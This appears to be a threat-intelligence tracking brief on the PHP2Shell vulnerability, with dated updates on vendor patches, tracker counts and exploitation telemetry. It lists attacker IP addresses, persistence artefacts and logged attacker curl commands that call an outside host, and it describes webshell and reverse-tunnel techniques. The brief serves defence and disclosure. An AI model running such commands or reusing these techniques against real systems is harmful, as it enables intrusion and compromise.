Sources: GreyNoise — PHP2Shell Activity 2026, live dashboard read 12 Nov 2026 09:00 UTC (1,226 successful exploitations; fresh cluster 10 Nov 14:50 UTC to 12 Nov 05:55 UTC; new IPs 154.3.235.207, 45.115.192.75, 31.57.193.98; XMRig download and Monero mining) · Trend Micro — KA-0024802, status as of 4 Nov (Apex One/Central Critical Patch ETA 11 Nov passed unmet, still Impacted; DDAN ETA 12 Nov; TMMS ETA 17 Nov) · NCSC-NL — php2shell (TLP:CLEAR), software list last status update 9 Nov 09:49 CET, unchanged

↑ Back to contents

Update · 11 NovemberNo tracker movement — and two vendor items from 5–6 November now recordedShow updateHide update

Nothing in the trackers moved in this check: NCSC-NL’s list is unchanged since its 9 November 09:49 CET update (968 products tracked, 205 fixed, 215 vulnerable), php.net’s latest item is still 5 November (PHP 8.6.0 RC5), and CVE-2026-115560 is still unpatched. Two vendor patch-status items dated 5–6 November were missing from this brief and are recorded here, with their true dates — they are not 11 November news. Fortinet added FortiSOAR and FortiSOAR PaaS to its impacted list on 5 November; Xerox’s 6 November bulletin marks AltaLink and EC81xx products remediated and puts patches out for the C80xx, B80xx, EC80xx and WorkCentre lines. Fiery FS800–FS500 patches, targeted “by November 9”, still have no public confirmation of shipment.

Vendor items found in this check’s coverage verification — dated 5–6 November

Fortinet FG-IR-26-186 (updated 5 November) adds FortiSOAR and FortiSOAR PaaS to the impacted product list: 8.0.0 upgrades to 8.0.1 or above; 7.6.0–7.6.7 to upcoming 7.6.8 or above; 7.5.0–7.5.4 to upcoming 7.5.5 or above; 7.4 and older migrate to a fixed release. CVE-2026-115560 does not affect any Fortinet product — no Fortinet product meets the conditions required for exploitation. Xerox bulletin XRX26-016 v6 (updated 6 November) marks AltaLink 82xx/81xx and EC81xx remediated (PHP 8.2.35) and VersaLink C/B415, C/B625, C/B620 remediated; a system-software patch is available for AltaLink C8030/C8035, C8045/C8055, C8070, B8045/B8055, B8065/B8075/B8090, EC8036 and EC8056 (see XRX26-018) and for WorkCentre 3655, EC7836, EC7856 and WorkCentre 3655i (see XRX26-017). The Worldwide Ticketing Tool fix is still in development.

Tracker figures, before and after

Products tracked
968
NCSC-NL; unchanged since 9 Nov 09:49 CET
Fixed
205
NCSC-NL; unchanged since 9 Nov 09:49 CET
Vulnerable
215
NCSC-NL; unchanged since 4 Nov
GreyNoise successes
1,215
Successful exploitations from 5 attacker IPs, as of 9 Nov; no newer figure
TrackerBeforeNow
NCSC-NL products tracked968 (9 Nov 09:49 CET)968 — unchanged
NCSC-NL fixed205205 — unchanged
NCSC-NL vulnerable215215 — unchanged
GreyNoise successful exploitations1,215 from 5 IPs (9 Nov)1,215 from 5 IPs — no newer figure
TU Delft exploitation requests87,617 / 802 IPs (10 Nov)88,079 / 802 IPs (11 Nov 00:57 UTC) — a counter tick only, IPs unchanged

What this changes, and what it does not

  • It supersedes the 9 November afternoon section’s Fiery line in part. Xerox’s v6 bulletin (6 November) confirms AltaLink 82xx/81xx and EC81xx remediated and patches available for the C80xx, B80xx, EC80xx and WorkCentre lines — so the brief’s “no release was confirmed” reading was too broad for Xerox as a whole. It remains true for Fiery specifically: the same bulletin still gives only target dates for Fiery DFE (FS800–FS500 by 9 November, FS400–FS300 by 16 November, FS200 by 23 November), and no public confirmation that the FS800–FS500 patches shipped has appeared. Do not record Fiery as shipped.
  • FortiSOAR is a new confirmed-affected product family. It was not in this brief’s vendor coverage before this check; the 8.0.1 fix is available now, the 7.6.8 and 7.5.5 fixes are still to come, and 7.4 and older must migrate. CVE-2026-115560 affects no Fortinet product.
  • Trend Micro’s Apex One / Apex Central critical patch is due today, not yet confirmed shipped. KA-0024802 still reads “Current Status as of Nov. 4”, with Apex One (on-premise) and Apex Central “Impacted — Critical Patch ETA: Nov. 11”; Deep Discovery Analyzer ETA 12 November, TMMS ETA 17 November. An ETA is not a shipped fix — the next check should confirm it landed.
  • CVE-2026-115560 remains unpatched at the 11 November check; PHP has not released 8.5.13 or 8.4.28; mitigation remains session.upload_progress.enabled=0. It is not in CISA KEV.

Sources: Fortinet — FG-IR-26-186, PHP2Shell, updated 5 Nov 2026 (FortiSOAR and FortiSOAR PaaS added to impacted list; fixes 8.0.1, upcoming 7.6.8 and 7.5.5; CVE-2026-115560 affects no Fortinet product) · Xerox — Security Bulletin XRX26-016, v6, updated 6 Nov 2026 (AltaLink 82xx/81xx and EC81xx remediated; C80xx/B80xx/EC80xx and WorkCentre patches available via XRX26-018 and XRX26-017; Fiery still target dates only) · NCSC-NL — php2shell (TLP:CLEAR), software list last status update 9 Nov 09:49 CET, unchanged · Trend Micro — KA-0024802, status as of 4 Nov (Apex One/Central Critical Patch ETA 11 Nov, not yet confirmed shipped)

↑ Back to contents

Update · 9 November (afternoon)The trackers move at last: NCSC-NL adds 20 fixed products, GreyNoise counts 38 more successful exploitationsShow updateHide update

Both trackers the morning section recorded as unchanged moved within hours of the morning check. NCSC-NL updated its product list at 09:49 CET on 9 November: 968 products tracked (was 948), 205 fixed (was 185), 215 vulnerable unchanged. ThreatDefence updated the same day: GreyNoise now counts 1,215 successful exploitations from 5 attacker IPs (was 1,177), out of 255,240 sessions from 682 attacker IPs. The morning section’s “no change to the NCSC-NL inventory” and “ThreatDefence still Updated November 5” lines are superseded; the morning section is left as written.

NCSC-NL inventory — 9 November 09:49 CET

The Dutch CERT’s php2shell list now tracks 968 products: 205 fixed, 215 vulnerable, 93 under investigation, 240 runtime-dependent, 214 not affected and 1 unassessed. The five latest status-change rows shown are all AlmaLinux fixes: AlmaLinux 10 PHP 8.3 and 8.4 packages (ALSA-2026:87070, 87071) and AlmaLinux 8 php:7.2, 7.3 and 7.4 modules (ALSA-2026:A011, A012, 87080). The list shows only the five latest rows, so the +20 fixed is the summary count, not the five rows alone — do not read the five rows as the whole change.

Tracker figures, before and after

Products tracked
968
NCSC-NL, 9 Nov 09:49 CET; was 948 (4 Nov)
Fixed
205
NCSC-NL, 9 Nov 09:49 CET; was 185 (4 Nov)
Vulnerable
215
NCSC-NL; unchanged since 4 Nov
GreyNoise successes
1,215
Successful exploitations from 5 attacker IPs, as of 9 Nov; was 1,177 (4 Nov)
TrackerBeforeNow
NCSC-NL products tracked948 (4 Nov)968 (9 Nov 09:49 CET)
NCSC-NL fixed185205
NCSC-NL vulnerable215215 — unchanged
GreyNoise successful exploitations1,177 from 5 IPs (4 Nov)1,215 from 5 IPs (9 Nov)
GreyNoise sessions / attacker IPs249,075 / 608255,240 / 682

What this changes, and what it does not

  • It supersedes the morning section’s two “unchanged” lines. Both trackers moved on the same day they were recorded as static — the 9 November morning section is now the stale record, not the current one.
  • New operator indicators. The operator behind 206.245.153.56 downloaded cleanup.sh from its server on port 8088 on 4 November at 21:27 UTC (GreyNoise, via ThreatDefence). The script deletes zz-persist.config.php, .zz.php, .zz.sh and /var/tmp/.p under the web root, removes run-once markers in /tmp, and checks .htaccess files for an AddHandler line that makes .css files run as PHP. It also looks for the markers j332pre and j375boot in .htaccess and j336beacon in index.php. A server where these were removed may still carry the .htaccess change or an SSH key — hunt those, not just the deleted files.
  • Siemens SSA-166980 (revised 5 Nov) covers energy products that bundle PHP: fixes for Energy Engage V3.1SP1, Spectrum Power TG and Local Monitoring bt-monitoring-vm; no fix yet for AMIS TS, blueplanet 360 NX3 and several Spectrum Power 4 setups; Energy Engage V2.0SP9 will not get one.
  • Fiery is still only a target date. Fiery FS800–FS500 patches are targeted “by November 9, 2026” — no release was confirmed in sources read to 9 November 09:00 UTC. Do not record them as shipped. ThreatDefence carries “Fiery DFE patches from November 9” in its vendor table, without a release confirmation.
  • CVE-2026-115560 remains unpatched at the 9 November afternoon check; PHP has not released 8.5.13 or 8.4.28; mitigation remains session.upload_progress.enabled=0. It is not in CISA KEV.

Sources: NCSC-NL — php2shell (TLP:CLEAR), software list last status update 9 Nov 09:49 CET · ThreatDefence — PHP2Shell CVE-2026-109618: Detection, Hunting and Patching, updated 9 Nov 2026 (GreyNoise 9 Nov figures; 206.245.153.56 cleanup script and persistence indicators; Siemens SSA-166980)

↑ Back to contents

Update · 9 NovemberCisco fixes land months early: URWB and Unified Industrial Wireless available nowShow updateHide update

Cisco's PHP2Shell advisory went to v1.11 (Final) on 6 November: the fixes for Ultra-Reliable Wireless Backhaul and Unified Industrial Wireless Software are available in release 26.2.1.9 — months ahead of the February and March 2027 estimates this brief carried. ISE Portal Builder is fixed by the vendor with no customer action required. No new PHP release, no new exploitation signal and no change to the NCSC-NL inventory were found to 9 November.

Cisco advisory v1.11, 6 November — Final

Cisco's revision history for cisco-sa-php-october26-Jj384Daq records v1.11 (6 Nov, Final) as: “Updated Ultra-Reliable Wireless Backhaul (URWB) and Unified Industrial Wireless Software as being available.” The fixed release is 26.2.1.9 (bug CSCwx37073), per the advisory as read by two independent trackers. That supersedes the earlier estimate of 27.1.1 in February 2027 for URWB and March 2027 for Unified Industrial Wireless. Cisco still knows of no malicious use against its products.

Cisco status, before and after

The 29 October section and the 4 November update carried the estimates then current; neither was revisited by the 5 November update. Both are now superseded for the three products below — the dated sections are left as written.

URWB fix
26.2.1.9
Available now, per Cisco v1.11 (6 Nov); was 27.1.1, Feb 2027
Unified Industrial Wireless
26.2.1.9
Available now, per Cisco v1.11 (6 Nov); was planned Mar 2027
ISE Portal Builder
Fixed
Vendor-side fix deployed; no customer action required (Cisco v1.10, 30 Oct)
CVE-2026-115560
Still unpatched
No fix, no date; mitigation remains session.upload_progress.enabled=0
ProductEarlier estimate (this brief)Now
Ultra-Reliable Wireless Backhaul (URWB)Fix 27.1.1, Feb 2027; admin-auth required, CVSS 3.1: 6.626.2.1.9 available (Cisco v1.11, 6 Nov; bug CSCwx37073). Admin-auth requirement and CVSS 3.1: 6.6 unchanged.
Unified Industrial Wireless SoftwareFix planned Mar 202726.2.1.9 available (Cisco v1.11, 6 Nov). No admin-auth footnote in Cisco's table — do not assume the URWB restriction applies here.
ISE Portal BuilderTaken offline, no released fixFixed by Cisco; no customer action required (Cisco v1.10, 30 Oct). The 29 October section's wording went stale the day after it was written; no later update revisited it until now. A Japanese tracker had already recorded the fix on 4 Nov.
Expressway / Expressway SelectFix 15.5.21Unchanged — 15.5.21 available. Note: X15.5.20 does not include the PHP fix.
Duo Access GatewayFixed in 3.2.0Unchanged — 3.2.0 available.

What this changes, and what it does not

  • It closes the last long-dated Cisco fix. No Cisco product now waits on a 2027 fix for PHP2Shell; the two wireless products moved from “February/March 2027” to “available now” in a single advisory revision.
  • It does not change the exploitation picture. No new named PHP victim, no new public IOC set and no new successful-exploitation count were found to 9 November. php.net's latest item is still 5 November (PHP 8.6.0 RC5); NCSC-NL's list is unchanged (948 products, 215 vulnerable, 185 fixed; last status update 4 Nov 08:15 CET); ThreatDefence still “Updated November 5, 2026” with GreyNoise figures as of 4 November.
  • Fiery is still only a target date. Fiery FS800–FS500 patches are targeted “by November 9, 2026” — no release was confirmed in sources read to 9 November 01:00 UTC. Do not record them as shipped.
  • CVE-2026-115560 remains unpatched at the 9 November check; fix planned for the next regular PHP release, date unannounced; mitigation remains session.upload_progress.enabled=0. It is not in CISA KEV.

Sources: Cisco — Vulnerabilities in PHP Affecting Cisco Products: October 2026 (v1.11, 6 Nov, Final) · ConfigLane — PHP2Shell and Cisco: security status, 7 Nov · pwn.watch — PHP2Shell timeline (Cisco v1.11, 6 Nov) · Tetoran — PHP2Shell affected products, 4 Nov (in Japanese; corroborates ISE Portal Builder fixed and 26.2.1.9)

↑ Back to contents

Update · 5 NovemberPatch uptake measured at last: 29 million servers still flawed, and no mass-breach waveShow updateHide update

The first patch-adoption measurement since the 21 October fixes puts the unpatched population at 29 million of 46 million scannable servers running a vulnerable PHP version — about two weeks on, nearly two-thirds still flawed. No new named PHP victim, no new public IOC set and no new PAN-OS victim count were found to 5 November, and Kaspersky's two-week review reports no mass-breach wave.

Censys patch uptake — Kaspersky, 3 November

Of the 46 million scannable servers running a vulnerable PHP version, 29 million still contain the flaws, per Censys data cited by Kaspersky on 3 November. Censys tracks remediation on a live public dashboard. The article does not state the snapshot date of the 29-million figure — treat it as a 3 November publication, not a dated measurement.

Patch uptake, three measurements

The 4 November update recorded that no published patch-adoption percentage had been found. That line is now superseded: the Censys figure below is the first such measurement since the fixes, and it sits alongside the two October measurements already in this brief. The denominators differ — do not average them.

Still flawed
29m
Of 46m scannable servers running a vulnerable PHP version — Censys, via Kaspersky, 3 Nov
Scannable base
46m
Servers running a vulnerable PHP version, per the same Censys count
Mass-breach wave
None reported
Kaspersky, 3 Nov: “no reports of mass breaches”; mass compromise “remains unconfirmed”
MeasurementDateWhat it says
Censys, via Kaspersky3 Nov29m of 46m scannable servers running a vulnerable PHP version still contain the flaws (~63%). Snapshot date not stated in the article.
Vu Agency22–23 Oct24% on a fixed release of 824,947 version-reporting sites, +23% Hostinger inferred patched. See “Did anyone actually patch?” below.
QualysOct199,000 instances patched within 12 hours of disclosure, against ~110m instances on end-of-life PHP that will never receive a vendor fix. See below.

What this changes, and what it does not

  • It supersedes the 4 November line that no published patch-adoption percentage had been found. About 63% of the Censys scannable base is still flawed — quote the figure with its denominator attached, not as a bare percentage.
  • It does not change the victim picture. Exploitation at scale and successful honeypot shells are evidenced; confirmed named-victim compromise is still not. Kaspersky's “no mass breaches” is consistent with that, not a contradiction of it.
  • Version strings still under-count patching. CloudLinux/Plesk backports keep old version numbers, and Hostinger patched without changing the string — the 29m is a scannable-servers count, not a census of unpatched hosts.
  • CVE-2026-115560 remains unpatched at the 5 November check; fix planned for the next regular PHP release, date unannounced; mitigation remains session.upload_progress.enabled=0.

Sources: Kaspersky — PHP2Shell: what we know about the threat two weeks later, 3 Nov · Censys — PHP2Shell remediation dashboard

↑ Back to contents

Update · 4 NovemberHotfixes complete, the alert widens, and a third bug still waitsShow updateHide update

No new mass victim wave. Palo Alto completed its PAN-OS hotfixes, Singapore's CSA widened the alert beyond PAN-OS, and a third PHP bug remains unpatched — while no new named PHP victim, no new public IOC set, and no published patch-adoption percentage was found to 4 November.

CSA Singapore, 3 November — multi-vendor alert AL-2026-157

Verified live. Beyond PAN-OS, the alert covers Cisco (Duo Access Gateway, Expressway), Citrix (NetScaler ADC/Gateway), F5 (BIG-IP APM, Configuration utility) and Siemens (RUGGEDCOM APE1808 running affected PAN-OS), with chaining to the Linux kernel Fragnesia flaw to root. CSA says the product list is selected, not exhaustive — these are affected-product findings, not exploited-product findings except for PAN-OS.

Vendor inventory, 30 October

Dutch NCSC snapshot: 929 products tracked, as stated.

Fixed
165
With fixes published, 30 Oct snapshot
Vulnerable
217
Marked vulnerable, 30 Oct snapshot
Still under investigation
345
Under investigation, 30 Oct snapshot
Confirmed not affected
201
Confirmed not affected, 30 Oct snapshot

These categories sum to 928, not 929 — a 1-product discrepancy in the secondary summary, flagged here rather than silently corrected.

Patch and alert timeline

DateDevelopment
29 OctPalo Alto completes all 20 PAN-OS hotfixes (last: 11.1.7-h12, late 29 Oct; one secondary says 30 Oct for the changelog). Exploit maturity: ATTACKED. Impact put at about 0.02% of the global installed base — a vendor scope figure, not a victim count.
29 OctPHP KEV deadline passes. No CISA compliance outcome was found published to 4 November — do not infer compliance from the passing of the date.
30 OctCisco advisory marked final (Expressway 15.5.21; Duo Access Gateway version to verify against the Cisco advisory). Dutch NCSC 929-product snapshot above.
31 OctFragnesia (CVE-2026-46300) KEV deadline passes, again with no published compliance outcome found.
3 NovSingapore CSA alert AL-2026-157, verified live — see callout above.
4 NovSingapore Parliament: no evidence PHP2Shell was exploited in Singapore government or critical-information-infrastructure systems. A negative finding for Singapore gov/CII only, not a global “no victims” claim.

Corrections and conflicts to hold

  • 25 rooted servers, clarified: 24 perimeter firewalls plus 1 subsequently compromised internal management server. Credential extraction and directory enumeration are confirmed; backdoor accounts, stolen signing keys and domain takeover are not confirmed.
  • Successful-exploitation counts are different measurements, not one count: GreyNoise “from one address” on the original page, “at least six successful exploitations” in a later secondary, 68,499 requests from 652 IPs in 73 countries with 174 delivering code/droppers, and WatchTowr success from a single German IP. Do not add them together.
  • WordPress vs PAN-OS: Wordfence/Defiant found no WordPress site known compromised via PHP2Shell as of 28 October, despite about 77,600 related requests from 2,000+ IPs (23–27 Oct). That does not contradict the PAN-OS servers; the surfaces differ.
  • DPRK targeting claim, unverified: CYFIRMA advisory, first reported 23 October (v3 figure, 29 October), claims a DPRK/Lazarus-ecosystem campaign and a captured 216-host target list across 10 countries, expanding by adversary claim to 581 hosts, of which roughly one third (on the order of 70 hosts) had already been touched, per the earlier section — the list size is not a compromise count. The 581 is an adversary claim, the 216 is a captured list, not 216 compromises. Banking appears only in the target-sector mix — no named bank compromise is evidenced.
  • Scores: NVD CVSS 3.1: 9.8 for CVE-2026-109618, 8.1 for CVE-2026-109619, both still “Undergoing Analysis” at the 1 November check. Note: the status board at 28 October recorded NVD as Analyzed — the status is inconsistent in this page and should be re-verified against NVD before relying on either.

Still open, and what to hunt

  • CVE-2026-115560 remains unpatched at the 4 November check; mitigation remains session.upload_progress.enabled=0; fix planned for the next regular PHP release, date unannounced. It is not in CISA KEV. Public repositories naming it (11, per one tracker) are unverified and some may be fake or malicious — do not link or count them as exploits.
  • Future vendor estimates, labelled as such: Fiery FS800–FS500 9 Nov, FS400–FS300 16 Nov, FS200 23 Nov; Cisco URWB fixed release estimated February 2027.
  • Detection additions: audit management-interface exposure (PAN-OS HTTPS/XML API only; GlobalProtect portal/gateway/Clientless VPN explicitly excluded), require a worker restart after PHP upgrade, and hunt for webshells, Fragnesia root escalation and LDAP/AD enumeration after a PAN-OS compromise.
  • BFSI, honestly thin: no named bank or payment breach attributed to PHP2Shell was found to 4 November. Plausible exposure is perimeter PHP (marketing/onboarding portals, vendor platforms, PHP e-commerce checkouts) and stolen API or payment-partner keys outliving the patch. Precautionary shutdowns (not breaches) were reported for Dutch, Finnish and Belgian government sites.

Sources: Palo Alto CVE-2026-109618 advisory · CSA Singapore AL-2026-157 · SecurityWeek, PHP2Shell attacks · Channel News Asia, Singapore Parliament · NCSC inventory summary

↑ Back to contents

Update · 29 OctoberThe chain is now official: CISA names these CVEs as the route to a root webshellShow updateHide update

Three things moved. CISA's KEV text states the chain explicitly; GreyNoise logged successful command execution rather than attempts; and a second victim-side report describes firewalls rooted with this pair plus a kernel flaw.

KEV — CVE-2026-46300, added 28 Oct, due 31 Oct

The kernel flaw is not the story; the sentence about it is. CISA's description states it “can be chained with CVE-2026-109618 and CVE-2026-109619 to implant PHP webshells and run commands as root” — verified directly in the KEV feed (catalog 2026.10.28, 1,762 entries), forensicTriage: Yes, deadline 31 October.

What this changes: the case no longer rests on “attempts plus honeypot shells”. The US government now describes this pair as a route to root and to webshell implantation. What it does not change: no victim is named, and a chain description is not an incident record.

GreyNoise: successful exploitation, from one address

Its live page (29 Oct 02:15 UTC) records 5 confirmed successful exploitations from 2.59.133.151 (AS58212 dataforest GmbH, DE) with the process chain apache2 → sh and commands curl 37455255:7 / curl 37455255:4 followed by sleep 5. Fleet totals: 240,193 sessions, 209,916 exploitation attempts, 30,277 recon, 416 attacker IPs.

ArtefactValue
JA4H (exploit HTTP)ge11nn030000_52193b36b64e_000000000000_000000000000
po11nn050000_c79a52b7736c_000000000000_000000000000
JA4T64240_2-4-8-1-3_1460_7 · 64240_2-4-8-1-3_1460_9
Multipart boundaries----lf · ----rceStock
New path/upload.php (3.6 MB, 2 POST)

These are sensor-side successes. They confirm that the chain reaches command execution in the wild; they do not identify a production victim.

Victim-side report: 25 rooted servers, and the chain is named

Dream's write-up (26 Oct, covered by SecurityWeek on 28 Oct) describes 24 firewalls plus one internal firewall-management server rooted, using PHP2Shell chained with CVE-2026-46300: a 103-byte PHP root webshell, an 8-port reverse SSH tunnel, SOCKS5, iox, PAM persistence (/etc/pam.d/su, pam_permit.so) and rc.local. No hashes, filenames or C2 are published — it is a narrative, not an IOC set. SecurityWeek calls the actors “China-linked”; Dream does not. Dream counts three servers at one US government-affiliated organisation where SecurityWeek counts two.

First Windows/IIS claim — real customer, no artefacts

Morphisec (28 Oct) reports a customer Windows server where the chain w3wp.exe → php-cgi.exe → cmd.exe launched a packed binary with PEB-walk shellcode. Code execution through the PHP flaw succeeded; the follow-on payload landed on a decoy and the reverse shell to the C2 was blocked. No hashes, C2, IPs, versions or filenames were published. Single source, vendor narrative.

Product matrix and status, 28–29 October

  • Citrix NetScaler fixed: 14.1-73.49+, 13.1-64.32+, 13.1 FIPS/NDcPP 13.1.37.286+.
  • Cisco: two new vulnerable products — ISE Portal Builder (taken offline, no released fix) and Unified Industrial Wireless (fix planned March 2027).
  • Juniper J-Web: reachable but not exploitable for 109618; not vulnerable to 109619.
  • PAN-OS: 11.2.7-h23 and 12.2.4-h1 released; 12.1.4-h13 and 10.2.10-h42 still ETA 29 Oct at the time of writing.
  • NCSC-NL: 757 products tracked, 218 vulnerable / 144 fixed.
  • Status: NVD both Analyzed, EPSS 0.99999 unchanged; no PHP source release after 21 Oct (the 26 Oct Windows rebuilds are Brotli fixes); CVE-2026-115560 still has no record in either registry.

↑ Back to contents

Update · 28 OctoberListed in KEV, a second sensor's indicator set, and an export that was missing its best evidenceShow updateHide update

Both CVEs entered CISA’s Known Exploited Vulnerabilities catalog on 26 October with a remediation deadline of 29 October. A second independent sensor published nine addresses on 27 October — the first set to overlap the exploitation this brief had already confirmed. The third RCE has no record in either CVE registry. And the block/monitor export was carrying 54 weak addresses while omitting the two hosts the packets actually came from.

KEV — catalog 2026.10.27, 1,760 entries, both CVEs in

CVE-2026-109618 and CVE-2026-109619 were added on 26 October, dueDate 2026-10-29, forensicTriage: Yes on both — CISA expects post-compromise triage of affected hosts, not only patching. Fetched directly from the KEV JSON feed on 28 October; the addition is announced in the 26 October alert. The CISA-ADP SSVC block in the MITRE record now reads Exploitation: active, timestamped 27 October 12:15 UTC.

Every “not in KEV” line in the earlier revisions of this brief is now wrong, and the federal deadline is tomorrow. What the listing does not establish is a victim: KEV records observed exploitation, and for PHP2Shell that means mass attempts plus the 35 honeypot shells. No victim compromise of these CVEs has been confirmed by any party. EPSS followed the same day — 0.99999, 99.999th percentile on both — which prices the KEV listing, not new technical findings.

A second sensor published its own indicator table — nine addresses

Wiz published an exploitation retrospective on 27 October that is the first vendor IOC set to overlap this case’s own confirmed evidence. Two of the nine addresses are the honeypot sources this brief documented on 26 October; one was first seen inside the 26–28 October window.

AddressFirst seenWiz descriptionStatus in this case
135.136.19.19726 OctScanner + exploitation attempt (VPN)New. The only entry first seen inside this window
15.204.59.7024 OctExploitation attemptAlready confirmed here: 3 shells, PCAP + Tetragon
162.35.99.9424 OctExploitation attemptAlready confirmed here: 32 shells across three targets
31.56.197.7221 OctC2 / payload serverNew. Single source — the first C2 designation for this case that is not botnet-side
85.11.187.3521 OctExploitation attemptNew. Different host from the 85.11.167.243 scanner already in the export
3.37.227.13421 OctExploitation attemptNew. AWS us-east-1 — rental, so no attribution value
172.206.2.19925 OctScanner + exploitation attemptNew
103.151.172.9525 OctExploitation attemptNew
178.249.214.624 OctExploitation attempt (VPN)Already known here as an attempt-only address (crashes, no shell)

Wiz’s own headline finding cuts against the ecosystem narrative: “we have observed a limited number of exploitation attempts in our telemetry and have not identified a publicly available proof of concept (PoC) demonstrating complete, general end-to-end exploitation against an arbitrary target.” It adds that some partners have privately disclosed working exploits. One thousand and ninety-one public repositories, and still no general public exploit.

This brief’s own defect, now fixed

The export as delivered on 26 October contained 81 rows and not one of the eleven addresses with execution or attempt evidence. The two honeypot sources that produced 35 confirmed shells were absent, while 54 addresses from a single vendor’s staging list — several of them a university, two households, a fire dispatcher and a commercial scanner — were present and graded.

Regenerated 28 October: 81 → 93 rows. Twelve added: 3 BLOCK (15.204.59.70 and 162.35.99.94 at HIGH on the double evidence of honeypot process correlation plus independent listing, and 31.56.197.72 at MEDIUM as a single-source C2) and 9 MONITOR for the attempt-only addresses. Totals: 33 BLOCK · 56 MONITOR · 1 REVIEW · 3 DO-NOT-BLOCK. Both files pass validate_export.py with 0 violations, the generator reproduced the delivered 26 October file byte-identically before the edit, and all 81 original rows verified unchanged.

Two honest limits: the twelve new rows carry no enrichment — no VirusTotal, AbuseIPDB or Shodan was run for them, so those columns are blank (Unknown, not clean); and the OVH and Interserver blocks should carry an expiry, because both providers recycle addresses between tenants.

CVE-2026-115560 exists in no registry

The third RCE is quoted by PHP, CISA, the Canadian Cyber Centre and NCSC-NL, and as of 28 October it has no MITRE record (the API returns CVE_RECORD_DNE, HTTP 404) and no NVD record (totalResults: 0). Do not attach a CVSS or an NVD status to it; there is none to attach. There is still no patch — PHP says the advisory ships with the next release — and no exploitation. NCSC-NL states explicitly that it does not track 115560 separately, so its absence from that tracker is by design, not a negative result. The mitigation is unchanged: leave session.upload_progress.enabled=0 in place after patching.

PAN-OS: exploit maturity is now ATTACKED — and a correction to a correction

The Palo Alto advisory was revised on 27 October: Exploit Maturity ATTACKED, CVSS-BT 9.2 with E:A, urgency HIGHEST, and a new fixed branch (12.2.4-h1) alongside the 10.2 / 11.1 / 11.2 hotfixes. Several hotfix ETAs — 11.2.13-h4 (27 Oct), 11.2.16-h1 (28 Oct), then 12.1.4-h13, 11.2.7-h23, 10.2.10-h42 (29 Oct) and 12.1.10-h3, 11.2.4-h23, 11.1.7-h12, 10.2.7-h39 (30 Oct) — had not shipped at fetch time.

A correction against this revision itself: the advisory’s “Required Configuration for Exposure: No special configuration is required to be affected” was initially read here as widening the issue beyond the management plane. It does not. The same advisory’s FAQ says the issue “strictly affects the management web interface, which includes the HTTPS web UI and XML API service” and reaches the dataplane only with a management profile attached. The 26 October scope statement stands; the “no special configuration” line means no feature must be enabled on the management interface to be exposed to it. This is recorded because a plausible-looking correction that contradicts the vendor’s own FAQ is exactly the kind of error that propagates.

Separately, the Brotli CVE (CVE-2026-111497) has the opposite footprint on the same product: dataplane only, and only where Brotli inspection and TLS/SSL decryption are both enabled; no management-interface impact, and Brotli inspection does not exist before 11.2.4. Note that hotfix 11.2.10-h16 fixes the PHP pair only — 11.2.10-h17 covers both.

The estate: adoption is real, and partial

  • Wiz, 27 Oct: a ~67% decrease in daily distinct internet-exposed vulnerable machines since disclosure; <53% of initially affected organisations remain vulnerable; the share of vulnerable exposed hosts on PHP ≤7.3 fell from 8.3% to 5.7%.
  • Shadowserver declined to publish exposure counts on 26 Oct for lack of reliable data, but does report 263,000 end-of-life PHP instances in the US.
  • NCSC-NL’s tracker now carries 1,109 status-change rows, 39 of them dated 26–27 Oct. Newly fixed in the window: QNAP QTS 6.1.0.3656 / 5.2.11.3661 and QuTS hero/QuTScloud builds; F5 BIG-IP 17.1.3.7 / 17.5.1.11 / 21.1.0.4; NetApp ONTAP 9; HPE ClearPass; Quest KACE SMA; Ubiquiti UISP CRM; Sangoma PBXact/FreePBX; wallabag; FreshRSS; Alpine, Fedora. Newly vulnerable with no fix: Juniper Junos J-Web and Broadcom CloudSOC SpanVA; TerraMaster TOS6 requires a major-version migration; Cleo Streem patches by email only.
  • Citrix NetScaler remediation versions are reported (14.1-73.49+, 13.1-64.32+) but only through a secondary tracker — the primary article returned 404 here and is recorded unexecuted.

Two claims to hold, not to import

  • SOCRadar’s 27 October extortion case is not a PHP2Shell victim. The write-up describes a real intrusion into Japanese real-estate firms — a PHP beacon listener, .whk.php artefacts, .orig20261010 backups, cron rewriting .htaccess to Require all granted — but its own text dates the PHP2Shell package to 21 October, roughly ten days after the intrusion wave, states there is no saved output showing successful PHP2Shell exploitation of a live site, and calls PHP2Shell “the operator’s next capability”. Do not count it as a PHP2Shell compromise.
  • An FPM RCE claim is unverified and contradicts the CNA record. VABISMO/php2shell-nginx-fpm-full-rce (created 22 Oct, pushed 27 Oct) advertises “verified profiles” for five builds behind a CI lab. The php-src advisory states that no complete FPM exploit has been demonstrated. Neither statement has been tested here; they cannot both be current, and the vendor’s wording is the one to quote.

Detection content moved

corelight/php2shell-detect was pushed again on 28 October 02:08 UTC and now ships both Zeek notices (PHP_Crash_Sequence, Multipart_Header_Flood, Large_Form_Key, the serialized-collision family) and Suricata rules SIDs 3000650–3000652 (POST body marker, response version header, phpinfo response body). CISA’s SIGMA rule 261429 has not changed since 23 October.

↑ Back to contents

Update · 26 October

What is now confirmed — and what was withdrawn

The exploit has been captured working. Two claims of a victim compromise have been withdrawn. The PAN-OS exposure this brief called unverified on 23 October is real, and a third PHP bug will not be patched soon.

Four things moved since the 23 October revision — and the first is what this case has been waiting for since 17 October.

First end-to-end confirmation — 35 shells, 35 request bodies, three targets

On 24 October, the phpot honeypot project (0x4D31) published “PHP2Shell exploitation observed: packet-to-process RCE evidence”. Across six sensors and three disposable targets, it correlates 35 complete execution-stage HTTP POSTs with 35 /bin/sh starts whose recorded parent is apache2, uid=33. The join is by source port, request sequence and worker PID — not by an alert label or an HTTP status.

Two source-address episodes: 15.204.59.70 (OVH US, vps-b225fb62.vps.ovh.us) produced 3 shells on one target between 15:35 and 16:04 UTC; 162.35.99.94 (Interserver, vps3749638.trouble-free.net) produced 32 across all three between 16:46 and 18:57. Four further addresses sent exploit-shaped traffic with crashes but no shell and no disclosure-sized cookie — 104.28.208.84, 144.48.4.242, and in the earlier window 178.249.214.6 and 89.167.27.27. Those are attempt indicators, not execution.

The chain is the published one, not a new primitive. Four stages: memory pressure (OOM in Unknown on line 0), an 819,200-byte PHPSESSID response cookie carrying pointer-like words, further memory pressure, then a target-adjusted execution body. 51 of 52 disclosure cookies were reconstructed from packet capture and acknowledged by the client — so the leak demonstrably arrived, rather than being assumed. The dominant leaked pointer differed on each target and the execution body tracked it by a constant offset, which is what leak-guided ASLR defeat looks like.

Why this is exploitation, and still not a victim compromise

